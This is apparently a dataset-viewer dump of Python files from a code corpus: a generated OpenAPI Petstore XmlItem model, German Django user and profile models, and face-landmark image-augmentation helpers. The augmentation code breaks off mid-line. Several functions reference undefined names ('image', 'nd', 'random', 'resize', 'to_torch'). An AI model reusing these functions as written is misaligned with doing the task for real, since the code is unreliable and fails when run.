ytzi/the-stack-dedup-python-filtered-all · Datasets at Hugging Face

f7ded778c29259e2a89bf5a9a9ac772ebb515972

25,965

py

Python

samples/client/petstore/python-experimental/petstore_api/models/xml_item.py

malymato/openapi-generator

47e2c0d027d867de67633bbc9c0a5d7e1054a778

[ "Apache-2.0" ]

2

2019-12-08T12:00:11.000Z

2022-01-02T13:47:52.000Z

samples/client/petstore/python-experimental/petstore_api/models/xml_item.py

malymato/openapi-generator

47e2c0d027d867de67633bbc9c0a5d7e1054a778

[ "Apache-2.0" ]

8

2021-03-01T21:18:19.000Z

2022-02-27T07:56:15.000Z

samples/client/petstore/python-experimental/petstore_api/models/xml_item.py

malymato/openapi-generator

47e2c0d027d867de67633bbc9c0a5d7e1054a778

[ "Apache-2.0" ]

1

2020-03-08T12:31:09.000Z

# coding: utf-8 """ OpenAPI Petstore This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \" \\ # noqa: E501 The version of the OpenAPI document: 1.0.0 Generated by: https://openapi-generator.tech """

35.135318

174

0.605507

# coding: utf-8 """ OpenAPI Petstore This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \" \\ # noqa: E501 The version of the OpenAPI document: 1.0.0 Generated by: https://openapi-generator.tech """ import pprint # noqa: F401 import re # noqa: F401 import six # noqa: F401 from petstore_api.exceptions import ( # noqa: F401 ApiKeyError, ApiTypeError, ApiValueError, ) from petstore_api.model_utils import ( # noqa: F401 ModelNormal, ModelSimple, check_allowed_values, check_validations, date, datetime, file_type, get_simple_class, int, model_to_dict, none_type, str, type_error_message, validate_and_convert_types ) class XmlItem(ModelNormal): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. Attributes: allowed_values (dict): The key is the tuple path to the attribute and the for var_name this is (var_name,). The value is a dict with a capitalized key describing the allowed value and an allowed value. These dicts store the allowed enum values. attribute_map (dict): The key is attribute name and the value is json key in definition. discriminator_value_class_map (dict): A dict to go from the discriminator variable value to the discriminator class name. openapi_types (dict): The key is attribute name and the value is attribute type. validations (dict): The key is the tuple path to the attribute and the for var_name this is (var_name,). The value is a dict that stores validations for max_length, min_length, max_items, min_items, exclusive_maximum, inclusive_maximum, exclusive_minimum, inclusive_minimum, and regex. additional_properties_type (tuple): A tuple of classes accepted as additional properties values. """ allowed_values = { } attribute_map = { 'attribute_string': 'attribute_string', # noqa: E501 'attribute_number': 'attribute_number', # noqa: E501 'attribute_integer': 'attribute_integer', # noqa: E501 'attribute_boolean': 'attribute_boolean', # noqa: E501 'wrapped_array': 'wrapped_array', # noqa: E501 'name_string': 'name_string', # noqa: E501 'name_number': 'name_number', # noqa: E501 'name_integer': 'name_integer', # noqa: E501 'name_boolean': 'name_boolean', # noqa: E501 'name_array': 'name_array', # noqa: E501 'name_wrapped_array': 'name_wrapped_array', # noqa: E501 'prefix_string': 'prefix_string', # noqa: E501 'prefix_number': 'prefix_number', # noqa: E501 'prefix_integer': 'prefix_integer', # noqa: E501 'prefix_boolean': 'prefix_boolean', # noqa: E501 'prefix_array': 'prefix_array', # noqa: E501 'prefix_wrapped_array': 'prefix_wrapped_array', # noqa: E501 'namespace_string': 'namespace_string', # noqa: E501 'namespace_number': 'namespace_number', # noqa: E501 'namespace_integer': 'namespace_integer', # noqa: E501 'namespace_boolean': 'namespace_boolean', # noqa: E501 'namespace_array': 'namespace_array', # noqa: E501 'namespace_wrapped_array': 'namespace_wrapped_array', # noqa: E501 'prefix_ns_string': 'prefix_ns_string', # noqa: E501 'prefix_ns_number': 'prefix_ns_number', # noqa: E501 'prefix_ns_integer': 'prefix_ns_integer', # noqa: E501 'prefix_ns_boolean': 'prefix_ns_boolean', # noqa: E501 'prefix_ns_array': 'prefix_ns_array', # noqa: E501 'prefix_ns_wrapped_array': 'prefix_ns_wrapped_array' # noqa: E501 } openapi_types = { 'attribute_string': (str,), # noqa: E501 'attribute_number': (float,), # noqa: E501 'attribute_integer': (int,), # noqa: E501 'attribute_boolean': (bool,), # noqa: E501 'wrapped_array': ([int],), # noqa: E501 'name_string': (str,), # noqa: E501 'name_number': (float,), # noqa: E501 'name_integer': (int,), # noqa: E501 'name_boolean': (bool,), # noqa: E501 'name_array': ([int],), # noqa: E501 'name_wrapped_array': ([int],), # noqa: E501 'prefix_string': (str,), # noqa: E501 'prefix_number': (float,), # noqa: E501 'prefix_integer': (int,), # noqa: E501 'prefix_boolean': (bool,), # noqa: E501 'prefix_array': ([int],), # noqa: E501 'prefix_wrapped_array': ([int],), # noqa: E501 'namespace_string': (str,), # noqa: E501 'namespace_number': (float,), # noqa: E501 'namespace_integer': (int,), # noqa: E501 'namespace_boolean': (bool,), # noqa: E501 'namespace_array': ([int],), # noqa: E501 'namespace_wrapped_array': ([int],), # noqa: E501 'prefix_ns_string': (str,), # noqa: E501 'prefix_ns_number': (float,), # noqa: E501 'prefix_ns_integer': (int,), # noqa: E501 'prefix_ns_boolean': (bool,), # noqa: E501 'prefix_ns_array': ([int],), # noqa: E501 'prefix_ns_wrapped_array': ([int],), # noqa: E501 } validations = { } additional_properties_type = None discriminator = None def __init__(self, _check_type=True, _from_server=False, _path_to_item=(), _configuration=None, **kwargs): # noqa: E501 """XmlItem - a model defined in OpenAPI Keyword Args: _check_type (bool): if True, values for parameters in openapi_types will be type checked and a TypeError will be raised if the wrong type is input. Defaults to True _path_to_item (tuple/list): This is a list of keys or values to drill down to the model in received_data when deserializing a response _from_server (bool): True if the data is from the server False if the data is from the client (default) _configuration (Configuration): the instance to use when deserializing a file_type parameter. If passed, type conversion is attempted If omitted no type conversion is done. attribute_string (str): [optional] # noqa: E501 attribute_number (float): [optional] # noqa: E501 attribute_integer (int): [optional] # noqa: E501 attribute_boolean (bool): [optional] # noqa: E501 wrapped_array ([int]): [optional] # noqa: E501 name_string (str): [optional] # noqa: E501 name_number (float): [optional] # noqa: E501 name_integer (int): [optional] # noqa: E501 name_boolean (bool): [optional] # noqa: E501 name_array ([int]): [optional] # noqa: E501 name_wrapped_array ([int]): [optional] # noqa: E501 prefix_string (str): [optional] # noqa: E501 prefix_number (float): [optional] # noqa: E501 prefix_integer (int): [optional] # noqa: E501 prefix_boolean (bool): [optional] # noqa: E501 prefix_array ([int]): [optional] # noqa: E501 prefix_wrapped_array ([int]): [optional] # noqa: E501 namespace_string (str): [optional] # noqa: E501 namespace_number (float): [optional] # noqa: E501 namespace_integer (int): [optional] # noqa: E501 namespace_boolean (bool): [optional] # noqa: E501 namespace_array ([int]): [optional] # noqa: E501 namespace_wrapped_array ([int]): [optional] # noqa: E501 prefix_ns_string (str): [optional] # noqa: E501 prefix_ns_number (float): [optional] # noqa: E501 prefix_ns_integer (int): [optional] # noqa: E501 prefix_ns_boolean (bool): [optional] # noqa: E501 prefix_ns_array ([int]): [optional] # noqa: E501 prefix_ns_wrapped_array ([int]): [optional] # noqa: E501 """ self._data_store = {} self._check_type = _check_type self._from_server = _from_server self._path_to_item = _path_to_item self._configuration = _configuration for var_name, var_value in six.iteritems(kwargs): self.__set_item(var_name, var_value) def __set_item(self, name, value): path_to_item = [] if self._path_to_item: path_to_item.extend(self._path_to_item) path_to_item.append(name) if name in self.openapi_types: required_types_mixed = self.openapi_types[name] elif self.additional_properties_type is None: raise ApiKeyError( "{0} has no key '{1}'".format(type(self).__name__, name), path_to_item ) elif self.additional_properties_type is not None: required_types_mixed = self.additional_properties_type if get_simple_class(name) != str: error_msg = type_error_message( var_name=name, var_value=name, valid_classes=(str,), key_type=True ) raise ApiTypeError( error_msg, path_to_item=path_to_item, valid_classes=(str,), key_type=True ) if self._check_type: value = validate_and_convert_types( value, required_types_mixed, path_to_item, self._from_server, self._check_type, configuration=self._configuration) if (name,) in self.allowed_values: check_allowed_values( self.allowed_values, (name,), value ) if (name,) in self.validations: check_validations( self.validations, (name,), value ) self._data_store[name] = value def __get_item(self, name): if name in self._data_store: return self._data_store[name] path_to_item = [] if self._path_to_item: path_to_item.extend(self._path_to_item) path_to_item.append(name) raise ApiKeyError( "{0} has no key '{1}'".format(type(self).__name__, name), [name] ) def __setitem__(self, name, value): """this allows us to set values with instance[field_name] = val""" self.__set_item(name, value) def __getitem__(self, name): """this allows us to get a value with val = instance[field_name]""" return self.__get_item(name) @property def attribute_string(self): """Gets the attribute_string of this XmlItem. # noqa: E501 Returns: (str): The attribute_string of this XmlItem. # noqa: E501 """ return self.__get_item('attribute_string') @attribute_string.setter def attribute_string(self, value): """Sets the attribute_string of this XmlItem. # noqa: E501 """ return self.__set_item('attribute_string', value) @property def attribute_number(self): """Gets the attribute_number of this XmlItem. # noqa: E501 Returns: (float): The attribute_number of this XmlItem. # noqa: E501 """ return self.__get_item('attribute_number') @attribute_number.setter def attribute_number(self, value): """Sets the attribute_number of this XmlItem. # noqa: E501 """ return self.__set_item('attribute_number', value) @property def attribute_integer(self): """Gets the attribute_integer of this XmlItem. # noqa: E501 Returns: (int): The attribute_integer of this XmlItem. # noqa: E501 """ return self.__get_item('attribute_integer') @attribute_integer.setter def attribute_integer(self, value): """Sets the attribute_integer of this XmlItem. # noqa: E501 """ return self.__set_item('attribute_integer', value) @property def attribute_boolean(self): """Gets the attribute_boolean of this XmlItem. # noqa: E501 Returns: (bool): The attribute_boolean of this XmlItem. # noqa: E501 """ return self.__get_item('attribute_boolean') @attribute_boolean.setter def attribute_boolean(self, value): """Sets the attribute_boolean of this XmlItem. # noqa: E501 """ return self.__set_item('attribute_boolean', value) @property def wrapped_array(self): """Gets the wrapped_array of this XmlItem. # noqa: E501 Returns: ([int]): The wrapped_array of this XmlItem. # noqa: E501 """ return self.__get_item('wrapped_array') @wrapped_array.setter def wrapped_array(self, value): """Sets the wrapped_array of this XmlItem. # noqa: E501 """ return self.__set_item('wrapped_array', value) @property def name_string(self): """Gets the name_string of this XmlItem. # noqa: E501 Returns: (str): The name_string of this XmlItem. # noqa: E501 """ return self.__get_item('name_string') @name_string.setter def name_string(self, value): """Sets the name_string of this XmlItem. # noqa: E501 """ return self.__set_item('name_string', value) @property def name_number(self): """Gets the name_number of this XmlItem. # noqa: E501 Returns: (float): The name_number of this XmlItem. # noqa: E501 """ return self.__get_item('name_number') @name_number.setter def name_number(self, value): """Sets the name_number of this XmlItem. # noqa: E501 """ return self.__set_item('name_number', value) @property def name_integer(self): """Gets the name_integer of this XmlItem. # noqa: E501 Returns: (int): The name_integer of this XmlItem. # noqa: E501 """ return self.__get_item('name_integer') @name_integer.setter def name_integer(self, value): """Sets the name_integer of this XmlItem. # noqa: E501 """ return self.__set_item('name_integer', value) @property def name_boolean(self): """Gets the name_boolean of this XmlItem. # noqa: E501 Returns: (bool): The name_boolean of this XmlItem. # noqa: E501 """ return self.__get_item('name_boolean') @name_boolean.setter def name_boolean(self, value): """Sets the name_boolean of this XmlItem. # noqa: E501 """ return self.__set_item('name_boolean', value) @property def name_array(self): """Gets the name_array of this XmlItem. # noqa: E501 Returns: ([int]): The name_array of this XmlItem. # noqa: E501 """ return self.__get_item('name_array') @name_array.setter def name_array(self, value): """Sets the name_array of this XmlItem. # noqa: E501 """ return self.__set_item('name_array', value) @property def name_wrapped_array(self): """Gets the name_wrapped_array of this XmlItem. # noqa: E501 Returns: ([int]): The name_wrapped_array of this XmlItem. # noqa: E501 """ return self.__get_item('name_wrapped_array') @name_wrapped_array.setter def name_wrapped_array(self, value): """Sets the name_wrapped_array of this XmlItem. # noqa: E501 """ return self.__set_item('name_wrapped_array', value) @property def prefix_string(self): """Gets the prefix_string of this XmlItem. # noqa: E501 Returns: (str): The prefix_string of this XmlItem. # noqa: E501 """ return self.__get_item('prefix_string') @prefix_string.setter def prefix_string(self, value): """Sets the prefix_string of this XmlItem. # noqa: E501 """ return self.__set_item('prefix_string', value) @property def prefix_number(self): """Gets the prefix_number of this XmlItem. # noqa: E501 Returns: (float): The prefix_number of this XmlItem. # noqa: E501 """ return self.__get_item('prefix_number') @prefix_number.setter def prefix_number(self, value): """Sets the prefix_number of this XmlItem. # noqa: E501 """ return self.__set_item('prefix_number', value) @property def prefix_integer(self): """Gets the prefix_integer of this XmlItem. # noqa: E501 Returns: (int): The prefix_integer of this XmlItem. # noqa: E501 """ return self.__get_item('prefix_integer') @prefix_integer.setter def prefix_integer(self, value): """Sets the prefix_integer of this XmlItem. # noqa: E501 """ return self.__set_item('prefix_integer', value) @property def prefix_boolean(self): """Gets the prefix_boolean of this XmlItem. # noqa: E501 Returns: (bool): The prefix_boolean of this XmlItem. # noqa: E501 """ return self.__get_item('prefix_boolean') @prefix_boolean.setter def prefix_boolean(self, value): """Sets the prefix_boolean of this XmlItem. # noqa: E501 """ return self.__set_item('prefix_boolean', value) @property def prefix_array(self): """Gets the prefix_array of this XmlItem. # noqa: E501 Returns: ([int]): The prefix_array of this XmlItem. # noqa: E501 """ return self.__get_item('prefix_array') @prefix_array.setter def prefix_array(self, value): """Sets the prefix_array of this XmlItem. # noqa: E501 """ return self.__set_item('prefix_array', value) @property def prefix_wrapped_array(self): """Gets the prefix_wrapped_array of this XmlItem. # noqa: E501 Returns: ([int]): The prefix_wrapped_array of this XmlItem. # noqa: E501 """ return self.__get_item('prefix_wrapped_array') @prefix_wrapped_array.setter def prefix_wrapped_array(self, value): """Sets the prefix_wrapped_array of this XmlItem. # noqa: E501 """ return self.__set_item('prefix_wrapped_array', value) @property def namespace_string(self): """Gets the namespace_string of this XmlItem. # noqa: E501 Returns: (str): The namespace_string of this XmlItem. # noqa: E501 """ return self.__get_item('namespace_string') @namespace_string.setter def namespace_string(self, value): """Sets the namespace_string of this XmlItem. # noqa: E501 """ return self.__set_item('namespace_string', value) @property def namespace_number(self): """Gets the namespace_number of this XmlItem. # noqa: E501 Returns: (float): The namespace_number of this XmlItem. # noqa: E501 """ return self.__get_item('namespace_number') @namespace_number.setter def namespace_number(self, value): """Sets the namespace_number of this XmlItem. # noqa: E501 """ return self.__set_item('namespace_number', value) @property def namespace_integer(self): """Gets the namespace_integer of this XmlItem. # noqa: E501 Returns: (int): The namespace_integer of this XmlItem. # noqa: E501 """ return self.__get_item('namespace_integer') @namespace_integer.setter def namespace_integer(self, value): """Sets the namespace_integer of this XmlItem. # noqa: E501 """ return self.__set_item('namespace_integer', value) @property def namespace_boolean(self): """Gets the namespace_boolean of this XmlItem. # noqa: E501 Returns: (bool): The namespace_boolean of this XmlItem. # noqa: E501 """ return self.__get_item('namespace_boolean') @namespace_boolean.setter def namespace_boolean(self, value): """Sets the namespace_boolean of this XmlItem. # noqa: E501 """ return self.__set_item('namespace_boolean', value) @property def namespace_array(self): """Gets the namespace_array of this XmlItem. # noqa: E501 Returns: ([int]): The namespace_array of this XmlItem. # noqa: E501 """ return self.__get_item('namespace_array') @namespace_array.setter def namespace_array(self, value): """Sets the namespace_array of this XmlItem. # noqa: E501 """ return self.__set_item('namespace_array', value) @property def namespace_wrapped_array(self): """Gets the namespace_wrapped_array of this XmlItem. # noqa: E501 Returns: ([int]): The namespace_wrapped_array of this XmlItem. # noqa: E501 """ return self.__get_item('namespace_wrapped_array') @namespace_wrapped_array.setter def namespace_wrapped_array(self, value): """Sets the namespace_wrapped_array of this XmlItem. # noqa: E501 """ return self.__set_item('namespace_wrapped_array', value) @property def prefix_ns_string(self): """Gets the prefix_ns_string of this XmlItem. # noqa: E501 Returns: (str): The prefix_ns_string of this XmlItem. # noqa: E501 """ return self.__get_item('prefix_ns_string') @prefix_ns_string.setter def prefix_ns_string(self, value): """Sets the prefix_ns_string of this XmlItem. # noqa: E501 """ return self.__set_item('prefix_ns_string', value) @property def prefix_ns_number(self): """Gets the prefix_ns_number of this XmlItem. # noqa: E501 Returns: (float): The prefix_ns_number of this XmlItem. # noqa: E501 """ return self.__get_item('prefix_ns_number') @prefix_ns_number.setter def prefix_ns_number(self, value): """Sets the prefix_ns_number of this XmlItem. # noqa: E501 """ return self.__set_item('prefix_ns_number', value) @property def prefix_ns_integer(self): """Gets the prefix_ns_integer of this XmlItem. # noqa: E501 Returns: (int): The prefix_ns_integer of this XmlItem. # noqa: E501 """ return self.__get_item('prefix_ns_integer') @prefix_ns_integer.setter def prefix_ns_integer(self, value): """Sets the prefix_ns_integer of this XmlItem. # noqa: E501 """ return self.__set_item('prefix_ns_integer', value) @property def prefix_ns_boolean(self): """Gets the prefix_ns_boolean of this XmlItem. # noqa: E501 Returns: (bool): The prefix_ns_boolean of this XmlItem. # noqa: E501 """ return self.__get_item('prefix_ns_boolean') @prefix_ns_boolean.setter def prefix_ns_boolean(self, value): """Sets the prefix_ns_boolean of this XmlItem. # noqa: E501 """ return self.__set_item('prefix_ns_boolean', value) @property def prefix_ns_array(self): """Gets the prefix_ns_array of this XmlItem. # noqa: E501 Returns: ([int]): The prefix_ns_array of this XmlItem. # noqa: E501 """ return self.__get_item('prefix_ns_array') @prefix_ns_array.setter def prefix_ns_array(self, value): """Sets the prefix_ns_array of this XmlItem. # noqa: E501 """ return self.__set_item('prefix_ns_array', value) @property def prefix_ns_wrapped_array(self): """Gets the prefix_ns_wrapped_array of this XmlItem. # noqa: E501 Returns: ([int]): The prefix_ns_wrapped_array of this XmlItem. # noqa: E501 """ return self.__get_item('prefix_ns_wrapped_array') @prefix_ns_wrapped_array.setter def prefix_ns_wrapped_array(self, value): """Sets the prefix_ns_wrapped_array of this XmlItem. # noqa: E501 """ return self.__set_item('prefix_ns_wrapped_array', value) def to_dict(self): """Returns the model properties as a dict""" return model_to_dict(self, serialize=False) def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, XmlItem): return False if not set(self._data_store.keys()) == set(other._data_store.keys()): return False for _var_name, this_val in six.iteritems(self._data_store): that_val = other._data_store[_var_name] types = set() types.add(this_val.__class__) types.add(that_val.__class__) vals_equal = this_val == that_val if (not six.PY3 and len(types) == 2 and unicode in types): # noqa: F821 vals_equal = ( this_val.encode('utf-8') == that_val.encode('utf-8') ) if not vals_equal: return False return True def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other

0

12,077

0

13,050

0

339

178

9cc0213534d4746545b92434c9c6e16f37a99b1a

4,745

py

Python

Grundgeruest/models.py

wmles/olymp

97b1a256982c2a75c39ba3a855b63a147d4409c5

[ "MIT" ]

null

Grundgeruest/models.py

wmles/olymp

97b1a256982c2a75c39ba3a855b63a147d4409c5

[ "MIT" ]

null

Grundgeruest/models.py

wmles/olymp

97b1a256982c2a75c39ba3a855b63a147d4409c5

[ "MIT" ]

null

""" Die Modelle fr Projektweite Daten: Nutzer/Profile """ from django.urls import reverse def knoepfe_kopf(user): """ gibt Knpfe fr Kopfleiste als Liste von Tupeln zurck """ anmelden = (reverse('userena_signin'), 'Anmelden') registrieren = (reverse('userena_signup'), 'Registrieren') abmelden = (reverse('userena_signout'), 'Abmelden') profil = lambda nutzer: (reverse('userena_profile_detail', kwargs={'username': nutzer.username}), 'Profil') spam = ('spam', 'spam') admin = ('/admin/', 'admin') if user.username == 'admin': liste = [abmelden, profil(user), spam] elif user.is_authenticated(): liste = [abmelden, profil(user)] else: liste = [anmelden, registrieren] if user.is_staff and user.get_all_permissions(): liste.append(admin) return liste def knoepfe_men(user): """ gibt Knpfe fr Menleiste als Liste von Tupeln zurck """ alle = { 'index': ('/', 'Startseite'), 'olymp': (reverse('Wettbewerbe:index'), 'Wettbewerbe'), 'ehemalige': (reverse('Ehemalige:index'), 'Ehemalige'), 'impressum': (reverse('impressum'), 'Impressum'), 'db': ('https://olymp.piokg.de/static/db.pdf', 'Datenbanklayout'), # quick and very dirty :) 'todo': ('/todo/', 'ToDo-Liste'), } if user.username == 'admin': return [alle[name] for name in ('index', 'olymp', 'ehemalige', 'todo', 'db')] else: return [alle[name] for name in ('index', 'olymp', 'db', 'impressum')]

32.278912

100

0.616228

""" Die Modelle für Projektweite Daten: Nutzer/Profile """ from django.db import models from django.contrib.auth.models import AbstractUser from django.conf import settings from django.utils.translation import ugettext as _ from userena.models import UserenaBaseProfile from django.core.validators import RegexValidator import random, string from django.template.defaultfilters import slugify from django.urls import reverse class MinimalModel(models.Model): zeit_erstellt = models.DateTimeField( auto_now_add=True, editable=False) zeit_geaendert = models.DateTimeField( auto_now=True, editable=False) class Meta: abstract = True ordering = ["-zeit_geaendert"] def __str__(self): return self.__class__().__name__() + ' geändert ' + str(zeit_geaendert) class Grundklasse(MinimalModel): bezeichnung = models.CharField(max_length=30) slug = models.SlugField( max_length=30, null=False, blank=True) def save(self, **kwargs): if not self.slug: self.slug = slugify(self.bezeichnung) super(Grundklasse, self).save() class Meta: abstract = True ordering = ["bezeichnung"] def __str__(self): return str(self.bezeichnung) def knoepfe_kopf(user): """ gibt Knöpfe für Kopfleiste als Liste von Tupeln zurück """ anmelden = (reverse('userena_signin'), 'Anmelden') registrieren = (reverse('userena_signup'), 'Registrieren') abmelden = (reverse('userena_signout'), 'Abmelden') profil = lambda nutzer: (reverse('userena_profile_detail', kwargs={'username': nutzer.username}), 'Profil') spam = ('spam', 'spam') admin = ('/admin/', 'admin') if user.username == 'admin': liste = [abmelden, profil(user), spam] elif user.is_authenticated(): liste = [abmelden, profil(user)] else: liste = [anmelden, registrieren] if user.is_staff and user.get_all_permissions(): liste.append(admin) return liste def knoepfe_menü(user): """ gibt Knöpfe für Menüleiste als Liste von Tupeln zurück """ alle = { 'index': ('/', 'Startseite'), 'olymp': (reverse('Wettbewerbe:index'), 'Wettbewerbe'), 'ehemalige': (reverse('Ehemalige:index'), 'Ehemalige'), 'impressum': (reverse('impressum'), 'Impressum'), 'db': ('https://olymp.piokg.de/static/db.pdf', 'Datenbanklayout'), # quick and very dirty :) 'todo': ('/todo/', 'ToDo-Liste'), } if user.username == 'admin': return [alle[name] for name in ('index', 'olymp', 'ehemalige', 'todo', 'db')] else: return [alle[name] for name in ('index', 'olymp', 'db', 'impressum')] class Nutzer(AbstractUser): """ Nutzer-Klasse """ def knoepfe_kopf(nutzer): """ soll Liste von Paaren für Knöpfe der Kopfleiste ausgeben Nutzt im Moment die module-fkt gleichen Namens, könnte später vll die Gruppenzugehörigkeit heranziehen, etc, ist flexibel """ return knoepfe_kopf(nutzer) def knoepfe_menü(self): """ soll Liste von Paaren für Knöpfe der Menüleiste ausgeben Nutzt im Moment die module-fkt gleichen Namens, könnte später vll die Gruppenzugehörigkeit heranziehen, etc, ist flexibel """ return knoepfe_menü(self) def save(self, *args, **kwargs): if not self.username: self.username = ''.join(random.sample(string.ascii_lowercase, 20)) super(Nutzer, self).save(*args, **kwargs) class Meta: verbose_name_plural = 'Nutzer' verbose_name = 'Nutzer' def __str__(self): return 'Nutzer %s (%s)' % (self.username, self.email) class Nutzerprofil(UserenaBaseProfile): user = models.OneToOneField(settings.AUTH_USER_MODEL, unique=True, verbose_name=_('Nutzer'), related_name='my_profile') geschlecht = models.CharField( max_length=1, choices=[('w', 'weiblich'), ('m', 'männlich'), (' ', 'sonstiges')], default=' ') tel = models.CharField( max_length=20, null=True, blank=True) strasse = models.CharField( max_length=30, blank=True) plz = models.CharField( max_length = 5, validators=[RegexValidator('^[0-9]+$')], blank=True) ort = models.CharField( max_length=30, blank=True) anredename = models.CharField( max_length=30, null=True, blank=True) class Meta(): verbose_name = 'Nutzerprofil' verbose_name_plural = 'Nutzerprofile'

48

0

2,713

0

158

269

b3e937dcb8ac9e14cc91bc39a1395544f1f257fb

8,595

py

Python

dataset/datasets.py

notplus/FaceLandmark_PFLD_UltraLight

89aa36d5369f7d8d6661eb67d8490c774ea4685a

[ "Apache-2.0" ]

38

2021-05-10T01:22:44.000Z

2022-03-30T06:54:39.000Z

dataset/datasets.py

notplus/FaceLandmark_PFLD_UltraLight

89aa36d5369f7d8d6661eb67d8490c774ea4685a

[ "Apache-2.0" ]

7

2021-06-01T06:39:47.000Z

2022-03-16T05:43:50.000Z

dataset/datasets.py

notplus/FaceLandmark_PFLD_UltraLight

89aa36d5369f7d8d6661eb67d8490c774ea4685a

[ "Apache-2.0" ]

14

2021-05-10T01:22:46.000Z

2022-03-30T06:54:42.000Z

import sys sys.path.append('..') from torch.utils.data import DataLoader if __name__ == '__main__': file_list = './data/test_data/list.txt' wlfwdataset = WLFWDatasets(file_list) dataloader = DataLoader(wlfwdataset, batch_size=256, shuffle=True, num_workers=0, drop_last=False) for img, landmark, attribute, euler_angle in dataloader: print("img shape", img.shape) print("landmark size", landmark.size()) print("attrbute size", attribute) print("euler_angle", euler_angle.size())

33.705882

166

0.601745

import numpy as np import cv2 import sys import torch sys.path.append('..') from torch.utils import data from torch.utils.data import DataLoader def flip(img, annotation): # parse img = np.fliplr(img).copy() h, w = img.shape[:2] x_min, y_min, x_max, y_max = annotation[0:4] landmark_x = annotation[4::2] landmark_y = annotation[4 + 1::2] bbox = np.array([w - x_max, y_min, w - x_min, y_max]) for i in range(len(landmark_x)): landmark_x[i] = w - landmark_x[i] new_annotation = list() new_annotation.append(x_min) new_annotation.append(y_min) new_annotation.append(x_max) new_annotation.append(y_max) for i in range(len(landmark_x)): new_annotation.append(landmark_x[i]) new_annotation.append(landmark_y[i]) return img, new_annotation def channel_shuffle(img, annotation): if (img.shape[2] == 3): ch_arr = [0, 1, 2] np.random.shuffle(ch_arr) img = img[..., ch_arr] return img, annotation def random_noise(img, annotation, limit=[0, 0.2], p=0.5): if random.random() < p: H, W = img.shape[:2] noise = np.random.uniform(limit[0], limit[1], size=(H, W)) * 255 img = img + noise[:, :, np.newaxis] * np.array([1, 1, 1]) img = np.clip(img, 0, 255).astype(np.uint8) return img, annotation def random_brightness(img, annotation, brightness=0.3): alpha = 1 + np.random.uniform(-brightness, brightness) img = alpha * image img = np.clip(img, 0, 255).astype(np.uint8) return img, annotation def random_contrast(img, annotation, contrast=0.3): coef = np.array([[[0.114, 0.587, 0.299]]]) # rgb to gray (YCbCr) alpha = 1.0 + np.random.uniform(-contrast, contrast) gray = img * coef gray = (3.0 * (1.0 - alpha) / gray.size) * np.sum(gray) img = alpha * img + gray img = np.clip(img, 0, 255).astype(np.uint8) return img, annotation def random_saturation(img, annotation, saturation=0.5): coef = nd.array([[[0.299, 0.587, 0.114]]]) alpha = np.random.uniform(-saturation, saturation) gray = img * coef gray = np.sum(gray, axis=2, keepdims=True) img = alpha * img + (1.0 - alpha) * gray img = np.clip(img, 0, 255).astype(np.uint8) return img, annotation def random_hue(image, annotation, hue=0.5): h = int(np.random.uniform(-hue, hue) * 180) hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV) hsv[:, :, 0] = (hsv[:, :, 0].astype(int) + h) % 180 image = cv2.cvtColor(hsv, cv2.COLOR_HSV2BGR) return image, annotation def scale(img, annotation): f_xy = np.random.uniform(-0.4, 0.8) origin_h, origin_w = img.shape[:2] bbox = annotation[0:4] landmark_x = annotation[4::2] landmark_y = annotation[4 + 1::2] h, w = int(origin_h * f_xy), int(origin_w * f_xy) image = resize(img, (h, w), preserve_range=True, anti_aliasing=True, mode='constant').astype(np.uint8) new_annotation = list() for i in range(len(bbox)): bbox[i] = bbox[i] * f_xy new_annotation.append(bbox[i]) for i in range(len(landmark_x)): landmark_x[i] = landmark_x[i] * f_xy landmark_y[i] = landmark_y[i] * f_xy new_annotation.append(landmark_x[i]) new_annotation.append(landmark_y[i]) return image, new_annotation def rotate(img, annotation, alpha=30): bbox = annotation[0:4] landmark_x = annotation[4::2] landmark_y = annotation[4 + 1::2] center = ((bbox[0] + bbox[2]) / 2, (bbox[1] + bbox[3]) / 2) rot_mat = cv2.getRotationMatrix2D(center, alpha, 1) img_rotated_by_alpha = cv2.warpAffine(img, rot_mat, (img.shape[1], img.shape[0])) point_x = [bbox[0], bbox[2], bbox[0], bbox[2]] point_y = [bbox[1], bbox[3], bbox[3], bbox[1]] new_point_x = list() new_point_y = list() for (x, y) in zip(landmark_x, landmark_y): new_point_x.append(rot_mat[0][0] * x + rot_mat[0][1] * y + rot_mat[0][2]) new_point_y.append(rot_mat[1][0] * x + rot_mat[1][1] * y + rot_mat[1][2]) new_annotation = list() new_annotation.append(min(new_point_x)) new_annotation.append(min(new_point_y)) new_annotation.append(max(new_point_x)) new_annotation.append(max(new_point_y)) for (x, y) in zip(landmark_x, landmark_y): new_annotation.append(rot_mat[0][0] * x + rot_mat[0][1] * y + rot_mat[0][2]) new_annotation.append(rot_mat[1][0] * x + rot_mat[1][1] * y + rot_mat[1][2]) return img_rotated_by_alpha, new_annotation def generate_FT(image): image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) f = np.fft.fft2(image) fshift = np.fft.fftshift(f) fimg = np.log(np.abs(fshift) + 1) maxx = -1 minn = 100000 for i in range(len(fimg)): if maxx < max(fimg[i]): maxx = max(fimg[i]) if minn > min(fimg[i]): minn = min(fimg[i]) fimg = (fimg - minn + 1) / (maxx - minn + 1) return fimg def draw_labelmap(img, pt, sigma=1, type='Gaussian'): # Draw a 2D gaussian # Adopted from https://github.com/anewell/pose-hg-train/blob/master/src/pypose/draw.py # Check that any part of the gaussian is in-bounds ul = [int(int(pt[0]) - 3 * sigma), int(int(pt[1]) - 3 * sigma)] br = [int(int(pt[0]) + 3 * sigma + 1), int(int(pt[1]) + 3 * sigma + 1)] if (ul[0] >= img.shape[1] or ul[1] >= img.shape[0] or br[0] < 0 or br[1] < 0): # If not, just return the image as is return to_torch(img) # Generate gaussian size = 6 * sigma + 1 x = np.arange(0, size, 1, float) y = x[:, np.newaxis] x0 = y0 = size // 2 # The gaussian is not normalized, we want the center value to equal 1 if type == 'Gaussian': g = np.exp(- ((x - x0) ** 2 + (y - y0) ** 2) / (2 * sigma ** 2)) elif type == 'Cauchy': g = sigma / (((x - x0) ** 2 + (y - y0) ** 2 